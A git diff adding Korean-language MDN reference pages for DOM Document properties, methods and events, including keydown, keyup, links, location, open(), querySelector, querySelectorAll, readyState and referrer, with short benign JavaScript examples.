{{SpecName("DOM WHATWG", "#interface-document", "Document")}}{{Spec2("DOM WHATWG")}}DOM 3 대체 의도
{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}{{Spec2("HTML WHATWG")}}{{domxref("HTMLDocument")}} 인터페이스를 Document 확장으로 전환.
{{SpecName("HTML Editing", "#dom-document-getselection", "Document")}}{{Spec2("HTML Editing")}}Document 인터페이스 확장
{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM View")}}Document 인터페이스 확장
{{SpecName("CSSOM", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM")}}Document 인터페이스 확장
{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Pointer Lock")}}Document 인터페이스 확장
{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Page Visibility API")}}visibilityStatehidden 속성과 onvisibilitychange 이벤트 리스너를 갖도록 Document 인터페이스 확장.
{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}{{Spec2("Selection API")}}getSelection(), onselectstartonselectionchange 추가.
{{SpecName("DOM4", "#interface-document", "Document")}}{{Spec2("DOM4")}}DOM 3 대체
{{SpecName("DOM3 Core", "#i-Document", "Document")}}{{Spec2("DOM3 Core")}}DOM 2 대체
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}{{Spec2("DOM3 XPath")}}다큐먼트를 확장하는 {{domxref("XPathEvaluator")}} 인터페이스 정의.
{{SpecName("DOM2 Core", "#i-Document", "Document")}}{{Spec2("DOM2 Core")}}DOM 1 대체
{{SpecName("DOM1", "#i-Document", "Document")}}{{Spec2("DOM1")}}인터페이스 초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document")}}

diff --git a/files/ko/web/api/document/keydown_event/index.html b/files/ko/web/api/document/keydown_event/index.html new file mode 100644 index 0000000000..4d841c084b --- /dev/null +++ b/files/ko/web/api/document/keydown_event/index.html @@ -0,0 +1,153 @@ +--- +title: keydown +slug: Web/API/Document/keydown_event +translation_of: Web/API/Document/keydown_event +--- +

keydown 이벤트늘 키가 눌렸을 때 발생합니다.

+ +

General info

+ +
+
Specification
+
DOM L3
+
Interface
+
KeyboardEvent
+
Bubbles
+
Yes
+
Cancelable
+
Yes
+
Target
+
Document, Element
+
Default Action
+
Varies: keypress event; launch text composition system; blur and focus events; DOMActivate event; other event
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
target {{readonlyInline}}EventTarget (DOM element)Focused element processing the key event, root element if no suitable input element focused.
char {{readonlyInline}}DOMString (string)The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See key names and char values for the detail. +
Note: If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.
+
key {{readonlyInline}}DOMString (string)The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the char attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See key names and char values for the detail. Read Only.
charCode {{readonlyInline}}Unsigned long (int)The Unicode reference number of the key; this attribute is used only by the keypress event. For keys whose char attribute contains multiple characters, this is the Unicode value of the first character in that attribute. +
Warning: This attribute is deprecated; you should use char instead, if available.
+
keyCode {{readonlyInline}}Unsigned long (int)A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
which {{readonlyInline}}Unsigned long (int)A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as keyCode. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
location {{readonlyInline}}long (float)The location of the key on the device.
repeat {{readonlyInline}}booleantrue if a key has been depressed long enough to trigger key repetition, otherwise false.
locale {{readonlyInline}}stringThe language code for the key event, if available; otherwise, the empty string.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

preventDefault() of keydown event

+ +

Starting with Gecko 25, a call of preventDefault() of keydown event prevents to dispatch following keypress event. This is valid behavior for D3E spec and the other major web browsers behave so. On the other hand, Gecko 24 or earlier dispatched keypress event even if preventDefault() of preceding keydown event is called. Although the keypress event's defaultPrevented attribute was true in this case.

+ + + + diff --git a/files/ko/web/api/document/keyup_event/index.html b/files/ko/web/api/document/keyup_event/index.html new file mode 100644 index 0000000000..766928b715 --- /dev/null +++ b/files/ko/web/api/document/keyup_event/index.html @@ -0,0 +1,99 @@ +--- +title: 'Document: keyup event' +slug: Web/API/Document/keyup_event +translation_of: Web/API/Document/keyup_event +--- +
{{APIRef}}
+ +

keyup키를 놓을 때 이벤트가 발생합니다.

+ + + + + + + + + + + + + + + + + + + + +
거품
취소 가능
상호 작용{{domxref ( "KeyboardEvent")}}
이벤트 핸들러 속성{{domxref ( "GlobalEventHandlers.onkeyup", "onkeyup")}}
+ +

{{domxref ( "Document / keydown_event", "keydown")}} 및 keyup이벤트는 어떤 키를 눌렀는지 나타내는 코드를 제공하고 {{domxref ( "Document / keypress_event", "keypress")}} 는 입력 문자를 나타냅니다. . 예를 들어, 소문자 "a"는 keydownkeyup에서는 65로보고 되지만에서는 97 로보고 됩니다 keypress. 모든 이벤트에서 대문자 "A"는 65로보고됩니다.

+ +
+

참고 : 입력 값의 변경에 대응하는 방법을 찾고 있다면 inputevent를 사용해야합니다 . keyup예를 들어 컨텍스트 메뉴의 텍스트를 텍스트 입력에 붙여 넣는 등의 일부 변경 사항은에서 감지 할 수 없습니다 .

+
+ +

Firefox 65부터 keyupCJKT 사용자의 브라우저 간 호환성을 개선하기 위해 {{domxref ( "Document / keydown_event", "keydown")}} 및 이벤트가 이제 IME 작성 중에 실행됩니다 ({{bug (354358)}}, 자세한 내용 은 IME 작성 중에 keydown 및 keyup 이벤트가 시작 됩니다. 작성의 keyup일부인 모든 이벤트 를 무시하려면 다음과 같이 수행하십시오 (229는 keyCodeIME에 의해 처리 된 이벤트 관련에 대한 특수 값 세트입니다 ).

+ +
eventTarget.addEventListener ( "keyup", event => { 
+  if (event.isComposing || event.keyCode === 229) { 
+    return; 
+  } 
+  // 무언가를합니다 
+});
+
+ +

+ +

이 예에서는 키를 놓을 때마다 {{domxref ( "KeyboardEvent.code")}} 값을 기록합니다.

+ +

addEventListener 키업 예제

+ +
<p> 먼저 IFrame에 초점을 맞춘 다음 (예 : 클릭하여) 몇 가지 키를 눌러보십시오. </ p> 
+<p id = "log"> </ p>
+ +
const log = document.getElementById ( 'log'); 
+
+document.addEventListener ( 'keyup', logKey); 
+
+function logKey (e) { 
+  log.textContent + =`$ {e.code}`; 
+}
+ +

{{EmbedLiveSample ( "addEventListener_keyup_example")}}

+ +

onkeyup 해당

+ +
document.onkeyup = logKey;
+ +

명세서

+ + + + + + + + + + + + + + +
사양상태
{{SpecName ( "UI 이벤트", "# event-type-keyup")}}{{Spec2 ( "UI 이벤트")}}
+ +

브라우저 호환성

+ + + +

{{Compat ( "api.Document.keyup_event")}}

+ +

또한보십시오

+ + diff --git a/files/ko/web/api/document/links/index.html b/files/ko/web/api/document/links/index.html new file mode 100644 index 0000000000..4087ef0c0e --- /dev/null +++ b/files/ko/web/api/document/links/index.html @@ -0,0 +1,102 @@ +--- +title: Document.links +slug: Web/API/Document/links +tags: + - Document + - Links + - a + - area + - href +translation_of: Web/API/Document/links +--- +

{{ APIRef("DOM") }}

+ +

links 속성은 document 내에서 href attribute 를 가지는 모든 {{HTMLElement("area")}} 과 {{HTMLElement("a")}} element 들의 collection 을 반환한다.

+ +

Syntax

+ +
nodeList = document.links
+
+ +

Example

+ +
var links = document.links;
+for(var i = 0; i < links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
diff --git a/files/ko/web/api/document/location/index.html b/files/ko/web/api/document/location/index.html new file mode 100644 index 0000000000..96c514e4b9 --- /dev/null +++ b/files/ko/web/api/document/location/index.html @@ -0,0 +1,69 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Property + - Read-only + - Reference +translation_of: Web/API/Document/location +--- +

{{APIRef("DOM")}}

+ +

The Document.location read-only property returns a {{domxref("Location")}} object, which contains information about the URL of the document and provides methods for changing that URL and loading another URL.

+ +

Though Document.location is a read-only Location object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with document.location as if it were a string in most cases: document.location = 'http://www.example.com' is a synonym of document.location.href = 'http://www.example.com'.

+ +

To retrieve just the URL as a string, the read-only {{domxref("document.URL")}} property can also be used.

+ +

If the current document is not in a browsing context, the returned value is null.

+ +

Syntax

+ +
locationObj = document.location
+document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
+
+ +

Example

+ +
dump(document.location);
+// Prints a string like
+// "http://www.example.com/juicybits.html" to the console
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.location")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/open/index.html b/files/ko/web/api/document/open/index.html new file mode 100644 index 0000000000..e7e376fbb2 --- /dev/null +++ b/files/ko/web/api/document/open/index.html @@ -0,0 +1,106 @@ +--- +title: Document.open() +slug: Web/API/Document/open +translation_of: Web/API/Document/open +--- +
{{APIRef("DOM")}}
+ +

Document.open() 메소드는 문서를  {{domxref("Document.write", "쓰기", "", "1")}} 위해 문서를 열 수 있도록 제공한다.

+ +

이 메소드 호출 시 몇 가지 부작용이 발생한다. 예를 들면,

+ + + +

문법

+ +
document.open();
+
+ +

인자

+ +

없음.

+ +

Return value반환값

+ +

Document 객체 인스턴스.

+ +

예시

+ +

이 간단한 코드는 문서를 열면서, 원하는 내용을 작성하여 기존 HTML 문서 구조를 대체하고, 문서를 닫는 예제이다. 

+ +
document.open();
+document.write("<p>Hello world!</p>");
+document.write("<p>I am a fish</p>");
+document.write("<p>The number is 42</p>");
+document.close();
+
+ +

Notes

+ +

document.open() 메소드는 페이지를 불러온 후 {{domxref("document.write()")}} 메소드 호출 시 자동으로 호출된다.

+ +

Firefox 및 Internet Explorer 에서는 기존까지 모든 요소 뿐 만 아니라 자바스크립트 변수까지 제거했었다. 하지만 현재 그런 경우는 없다.document non-spec'ed parameters to document.open

+ +

Gecko 특정 참고사항

+ +

Starting with Gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.

+ +

Starting with Gecko 1.9.2, document.open() uses the principal of the document whose URI it uses, instead of fetching the principal off the stack. As a result, you can no longer call {{domxref("document.write()")}} into an untrusted document from chrome, even using wrappedJSObject. See Security check basics for more about principals.

+ +

document.open()의 인자 3개

+ +

잘 사용하지 않지만, document.open() 메소드는 3 개의 인자를 받을 수 있으며, 호출할 경우 {{domxref("Window.open()")}} 메소드와 동일하게 동작한다(Window.open() 메소드 참고).

+ +

다음 예제는 Github 웹 사이트를 새 창으로 열게 되며, opener 개체를 null로 설정한다.

+ +
document.open('https://www.github.com','', 'noopener=true')
+ +

document.open()의 인자 2개

+ +

브라우저에서는 2개의 인자를 가진 document.open() 또한 가지고 있으며, 아래와 같은 구조를 가진다.

+ +
document.open(type, replace)
+ +

Where type 인자는 문서를 작성할 MIME 형식을 정의하며(예: text/html), 현재 히스토리를 대체(예: "replace") 하는 새 문서 작성을 시작할 수 있다.

+ +

하지만 이런 호출은 더 이상 사용할 수 없으며, 예외 또한 발생하지 않는다.대신 인자가 없는 document.open() 메소드가 호출되는 효과를 지니며, 대신 브라우저 히스토리 대체는 그대로 작동한다.

+ +

규격

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}{{Spec2("DOM2 HTML")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.open")}}

+ +

같이보기

+ + diff --git a/files/ko/web/api/document/queryselector/index.html b/files/ko/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..cf3ead8baa --- /dev/null +++ b/files/ko/web/api/document/queryselector/index.html @@ -0,0 +1,130 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - CSS Selectors + - DOM + - DOM Elements + - Document + - Method + - Reference + - Selectors + - Web +translation_of: Web/API/Document/querySelector +--- +
{{ApiRef("DOM")}}
+ +

Document.querySelector()는 제공한 선택자 또는 선택자 뭉치와 일치하는 문서 내 첫 번째 {{domxref("Element")}}를 반환합니다. 일치하는 요소가 없으면 null을 반환합니다.

+ +
+

참고: 탐색은 깊이우선depth-first 전위pre-order순회로, 문서의 첫 번째 요소부터 시작해 자식 노드의 수를 기준으로 순회합니다.

+
+ +

구문

+ +
document.querySelector(selectors);
+
+ +

매개변수

+ +
+
selectors
+
하나 이상의 선택자를 포함한 {{domxref("DOMString")}}. 유효한 CSS 선택자여야만 하며 아닐 경우 SYNTAX_ERR 예외가 발생합니다. 선택자로 DOM 요소 선택하기 문서를 참고해 선택자와 선택자 작성 방법을 더 알아보세요.
+
+ +
+

참고: CSS 표준 구문이 포함하는 문자가 아닌 경우 역슬래시로 이스케이프해야 합니다. JavaScript 또한 역슬래시로 이스케이프를 하기 때문에 특히 주의를 기울여야 합니다. 자세한 내용은 {{anch("특수 문자 이스케이프")}} 항목을 참고하세요.

+
+ +

반환값

+ +

제공한 CSS 선택자를 만족하는 첫 번째 {{domxref("Element")}} 객체. 결과가 없다면 null.

+ +

선택자를 만족하는 모든 요소의 목록이 필요하다면 {{domxref("Document.querySelectorAll", "querySelectorAll()")}}을 대신 사용하세요.

+ +

예외

+ +
+
SYNTAX_ERR
+
selectors의 구문이 유효하지 않음.
+
+ +

참고

+ +

만약 selector가 ID 선택자인데, 해당 ID를 잘못 사용하여 문서 내에 여러 번 사용했으면 첫 번째로 그 ID를 사용한 요소를 반환합니다.

+ +

CSS 의사 요소는 선택자 API가 명시한 대로 어떠한 요소도 반환하지 않습니다.

+ +

특수 문자 이스케이프

+ +

CSS 구문을 따르지 않는, 예컨대 콜론이나 공백을 포함한 선택자나 ID를 사용해야 하면 반드시  백슬래시("\")를 사용해 해당 문자를 이스케이프해야 합니다. 백슬래시는 JavaScript의 이스케이프 문자이기 때문에, 백슬래시를 문자로 입력하려면 반드시 두 번 이스케이프해야 합니다. 한 번은 JavaScript 문자열에 필요하고, 또 다른 한 번은 querySelector()에 필요합니다.

+ +
<div id="foo\bar"></div>
+<div id="foo:bar"></div>
+
+<script>
+  console.log('#foo\bar')             // "#fooar" ('\b'는 백스페이스 컨트롤 문자)
+  document.querySelector('#foo\bar')  // 일치하는 요소 없음
+
+  console.log('#foo\\bar')            // "#foo\bar"
+  console.log('#foo\\\\bar')          // "#foo\\bar"
+  document.querySelector('#foo\\bar') // 첫 번째 <div>
+
+  document.querySelector('#foo:bar')   // 일치하는 요소 없음
+  document.querySelector('#foo\\:bar') // 두 번째 <div>
+</script>
+
+ +

예제

+ +

클래스를 만족하는 첫 번째 요소 검색

+ +

아래 예제는 문서에서 "myclass"라는 클래스를 사용하는 첫 번째 요소를 반환합니다.

+ +
var el = document.querySelector(".myclass");
+
+ +

좀 더 복잡한 선택자

+ +

아래 예제처럼 정말 강력한 선택자도 사용할 수 있습니다. 예제의 결과는 클래스가 "user-panel main"인 {{HTMLElement("div")}}(<div class="user-panel main">) 안의, 이름이 "login"인 {{HTMLElement("input")}} 중 첫 번째 요소입니다.

+ +
var el = document.querySelector("div.user-panel.main input[name=login]");
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 2")}} 
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Initial definition
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.querySelector")}}
+ +

더 보기

+ + diff --git a/files/ko/web/api/document/queryselectorall/index.html b/files/ko/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..2beb50a1cf --- /dev/null +++ b/files/ko/web/api/document/queryselectorall/index.html @@ -0,0 +1,180 @@ +--- +title: Document.querySelectorAll() +slug: Web/API/Document/querySelectorAll +tags: + - API + - CSS 셀렉터 + - DOM + - querySelectorAll + - 다큐먼트 + - 레퍼런스 + - 메소드 + - 셀렉터 + - 엘리먼트 셀렉팅 + - 엘리먼트 찾기 + - 엘리먼트 탐색 +translation_of: Web/API/Document/querySelectorAll +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 메소드 querySelectorAll() 는 지정된 셀렉터 그룹에 일치하는 다큐먼트의 엘리먼트 리스트를 나타내는 정적(살아 있지 않은) {{domxref("NodeList")}} 를 반환합니다.

+ +
+

노트: 이 메소드는 {{domxref("ParentNode")}} 믹스인의 {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} 메소드를 기반으로 구현되었습니다.

+
+ +

구문

+ +
elementList = parentNode.querySelectorAll(selectors);
+
+ +

파라미터

+ +
+
selectors
+
매칭할 하나 이상의 셀렉터를 포함하는 {{domxref("DOMString")}}. 이 스트링은 반드시 유효한 CSS 셀렉터여야 합니다; 그렇지 않을 경우, SyntaxError 예외가 발생합니다. 엘리먼트 식별을 위한 셀렉터 사용의 자세한 내용은 셀렉터로 DOM 엘리먼트 찾기 문서를 확인하세요. 콤마를 사용해 분리하여 다중 셀렉터를 지정할수도 있습니다.
+
+ +
+

노트: 표준 CSS 구문이 아닌 문자들은 역슬래시를 사용해 이스케이프해야 합니다. 자바스크립트가 역슬래시 이스케이핑을 사용한 이후로,  그러한 문자들을 사용하는 문자열 리터럴을 작성할 때 특별히 신경써야 합니다.  자세한 내용은 이스케이프 표현을 확인하세요.

+
+ +

반환 값

+ +

지정한 셀렉터와 하나라도 일치하는 각 엘리먼트에 대한 하나의 {{domxref("Element")}} 를 포함하는 살아 있지 않은 {{domxref("NodeList")}}. 일치하는 것이 없는 경우에는 비어 있는 {{domxref("NodeList")}}.

+ +
+

노트: 지정한 selectors 가 CSS 가상 엘리먼트를 포함하면, 반환 리스트는 항상 비어있습니다.

+
+ +

예외

+ +
+
SyntaxError
+
지정한 selectors 문자열의 구문이 유효하지 않습니다.
+
+ +

예시

+ +

일치하는 리스트 얻기

+ +

다큐먼트에서 모든 {{HTMLElement("p")}} 엘리먼트의 {{domxref("NodeList")}} 를 얻으려면:

+ +
var matches = document.querySelectorAll("p");
+ +

이 예시는 다큐먼트 내의 클래스가 "note" 또는 "alert" 인 모든 {{HTMLElement("div")}} 엘리먼트의 목록을 반환합니다.

+ +
var matches = document.querySelectorAll("div.note, div.alert");
+
+ +

여기에서는, ID 가 "test" 인 컨테이너안에 위치하고 부모 엘리먼트가 {{domxref("div")}} 엘리먼트이며 클래스가 "highlighted" 인 <p> 엘리먼트의 리스트를 얻습니다.

+ +
var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted > p");
+ +

이 예시는 속성 셀렉터를 사용해 다큐먼트에서 "data-src" 속성을 포함하는 {{domxref("iframe")}} 엘리먼트의 리스트를 반환합니다:

+ +
var matches = document.querySelectorAll("iframe[data-src]");
+ +

여기에서는, ID 가 "userlist" 인 리스트 내에서 "data-active" 속성 값이 "1" 인 리스트 항목의 목록을 반환하는데 속성 셀렉터가 사용되었습니다:

+ +
var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");
+ +

일치 항목에 접근하기

+ +

일치하는 항목의 {{domxref("NodeList")}} 가 반환되면, 배열처럼 확인하실 수 있습니다. 배열이 비어있다면(length 프로퍼티가 0), 일치한 것을 발견하지 못한 것입니다.

+ +

다른 방법으로, 리스트의 컨텐츠에 접근하기위한 표준 배열 노테이션을 사용하실수도 있습니다. 다음과 같이 일반적인 모든 반복문을 사용하실 수 있습니다:

+ +
var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});
+ +

사용자 노트

+ +

querySelectorAll() 은 대부분의 일반적인 자바스크립트 DOM 라이브러리와 다르게 동작하여 예상치못한 결과를 가져올 수 있습니다.

+ +

HTML

+ +

세 번 중첩된 {{HTMLElement("div")}} 블록을 갖는 다음 HTML 을 고려해봅시다.

+ +
<div class="outer">
+  <div class="select">
+    <div class="inner">
+    </div>
+  </div>
+</div>
+ +

자바스크립트

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1 입니다. 0 이 아닙니다!
+
+ +

클래스 "select" 를 갖는 <div> 컨텍스트에서 ".outer .inner" 를 셀렉팅할 때, .outer 가 탐색을 수행하는 기본 엘리먼트(".select")의 자손이 아님에도 클래스 ".inner" 가 탐색됩니다. 기본적으로 querySelectorAll() 은 탐색 범위 내에서 셀렉터의 마지막 엘리먼트만을 검증합니다.

+ +

{{cssxref(":scope")}} 가상 클래스는 예상된 동작을하도록 하지만, 베이스 엘리먼트의 자손에 일치하는 셀렉터로만 제한됩니다:

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM WHATWG")}}표준
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("Selectors API Level 2")}}변동 없음
{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM4")}}초기 정의
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}기존 정의
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.querySelectorAll")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/readystate/index.html b/files/ko/web/api/document/readystate/index.html new file mode 100644 index 0000000000..08384c6174 --- /dev/null +++ b/files/ko/web/api/document/readystate/index.html @@ -0,0 +1,125 @@ +--- +title: Document.readyState +slug: Web/API/Document/readyState +translation_of: Web/API/Document/readyState +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}
+ +

Document.readyState 속성을 통해  {{domxref("document")}}의 로딩 상태를 확인할 수 있다.

+ +

Document.readyState 속성 값이 바뀔 때 {{event("readystatechange")}} 이벤트가 {{domxref("document")}}에서 일어난다.

+ +

Syntax

+ +
var string = document.readyState;
+
+ +

Values

+ +

document의 readyState 상태는 아래 3가지가 될 수 있다.

+ +
+
loading
+
 {{domxref("document")}} 로딩 중.
+
interactive
+
문서의 로딩은 끝이 나고 해석 중 이지만  images, stylesheets, frames과 같은 하위 자원들은 로딩되고 있는 상태이다.
+
complete
+
문서와 모든 하위 자원들의 로드가 완료된 상태이다. 이 상태는 {{event("load")}}  이벤트가 발생되기 직전 상태이다.
+
+ +

Examples

+ +

Different states of readiness

+ +
switch (document.readyState) {
+  case "loading":
+    // The document is still loading.
+    break;
+  case "interactive":
+    // The document has finished loading. We can now access the DOM elements.
+    // But sub-resources such as images, stylesheets and frames are still loading.
+    var span = document.createElement("span");
+    span.textContent = "A <span> element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // The page is fully loaded.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}
+
+ +

readystatechange as an alternative to DOMContentLoaded event

+ +
// Alternative to DOMContentLoaded event
+document.onreadystatechange = function () {
+  if (document.readyState === 'interactive') {
+    initApplication();
+  }
+}
+
+ +

readystatechange as an alternative to load event

+ +
// Alternative to load event
+document.onreadystatechange = function () {
+  if (document.readyState === 'complete') {
+    initApplication();
+  }
+}
+ +

readystatechange as event listener to insert or modify the DOM before DOMContentLoaded

+ +
document.addEventListener('readystatechange', event => {
+  if (event.target.readyState === 'interactive') {
+    initLoader();
+  }
+  else if (event.target.readyState === 'complete') {
+    initApp();
+  }
+});
+
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML WHATWG')}}
{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5.1')}}
{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5 W3C')}}Initial specification.
+ +

Browser compatibility

+ + + +
{{Compat("api.Document.readyState")}}
+ +

See also

+ + diff --git a/files/ko/web/api/document/readystatechange_event/index.html b/files/ko/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..3286bb4727 --- /dev/null +++ b/files/ko/web/api/document/readystatechange_event/index.html @@ -0,0 +1,139 @@ +--- +title: 'Document: readystatechange event' +slug: Web/API/Document/readystatechange_event +translation_of: Web/API/Document/readystatechange_event +--- +
{{APIRef}}
+ +

readystatechange 이벤트는 현재 페이지의 {{domxref("Document.readyState", "readyState")}}  속성값이 변할 때 발생한다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("Event")}}
Event handler propertyonreadystatechange
+ +

Examples

+ +

Live example

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.readystatechange_event")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/referrer/index.html b/files/ko/web/api/document/referrer/index.html new file mode 100644 index 0000000000..547eaf2993 --- /dev/null +++ b/files/ko/web/api/document/referrer/index.html @@ -0,0 +1,23 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +translation_of: Web/API/Document/referrer +--- +
{{APIRef("DOM")}}
+ +
링크를 통해 현재 페이지로 이동 시킨, 전 페이지의 URI 정보를 반환.
+ +

Syntax

+ +
string = document.referrer;
+
+ +

Notes

+ +

페이지로 바로 접근하였을 경우 이 값은 빈 문자열을 반환함.(링크를 통해서 온것이 아닌, 예를 들면, 북마크를 통해서 이동했을 경우). 문자열만을 반환하기 때문에,  참조 페이지(referring page)에 대한 DOM  액세스가 제공되지 않음. 

+ +

Specification

